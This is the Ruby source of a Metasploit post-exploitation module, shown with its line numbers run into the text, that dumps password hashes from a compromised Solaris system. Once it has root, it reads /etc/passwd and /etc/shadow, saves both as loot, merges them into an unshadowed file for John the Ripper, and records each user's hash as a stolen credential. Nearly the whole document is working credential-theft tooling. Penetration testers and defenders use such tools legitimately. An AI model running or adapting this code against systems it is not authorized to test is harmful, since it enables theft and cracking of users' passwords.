Path: blob/master/modules/post/solaris/gather/hashdump.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',14'Description' => %q{15Post module to dump the password hashes for all users on a Solaris system.16},17'License' => MSF_LICENSE,18'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => [ 'solaris' ],20'SessionTypes' => [ 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)28end2930def run31fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?3233passwd_file = read_file('/etc/passwd')34shadow_file = read_file('/etc/shadow')3536# Save in loot the passwd and shadow file37p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')38p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')39vprint_good("Shadow saved in: #{p1}")40vprint_good("passwd saved in: #{p2}")4142# Unshadow the files43john_file = unshadow(passwd_file, shadow_file)44john_file.each_line do |l|45hash_parts = l.split(':')46jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]47if jtr_format.empty? # overide the default48jtr_format = 'des,bsdi,crypt'49end50credential_data = {51jtr_format: jtr_format,52origin_type: :session,53post_reference_name: refname,54private_type: :nonreplayable_hash,55private_data: hash_parts[1],56session_id: session_db_id,57username: hash_parts[0],58workspace_id: myworkspace_id59}60create_credential(credential_data)61print_good(l.chomp)62end6364# Save pwd file65upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')66print_good("Unshadowed Password File: #{upassf}")67end6869def unshadow(pf, sf)70unshadowed = ''71sf.each_line do |sl|72pass = sl.scan(/^\w*:([^:]*)/).join73next unless pass !~ /^\*LK\*|^NP/7475user = sl.scan(/(^\w*):/).join76pf.each_line do |pl|77if pl.match(/^#{user}:/)78unshadowed << pl.gsub(/:x:/, ":#{pass}:")79end80end81end8283return unshadowed84end85end868788